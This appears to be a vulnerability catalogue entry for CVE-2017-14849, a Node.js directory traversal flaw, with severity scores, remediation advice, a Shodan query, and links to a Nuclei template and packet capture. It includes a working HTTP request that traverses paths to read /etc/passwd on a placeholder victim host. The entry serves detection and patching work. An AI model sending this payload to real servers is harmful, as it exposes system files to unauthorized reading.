| Title | Node.js <8.6.0 - Directory Traversal |
|---|---|
| Author | Random_Robbie |
| Severity | High |
| Impact | An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | Upgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.90232 |
| CVE ID | CVE-2017-14849 |
| CWE ID | CWE-22 |
| Shodan Query | cpe:"cpe:2.3:a:nodejs:node.js" |
| Tags | cve2017 cve nodejs lfi vuln |
Node.js before 8.6.0 allows remote attackers to access unintended files because a change to “..” handling is incompatible with the pathname validation used by unspecified community modules.
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-14849.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-14849.pcap
N/AN/A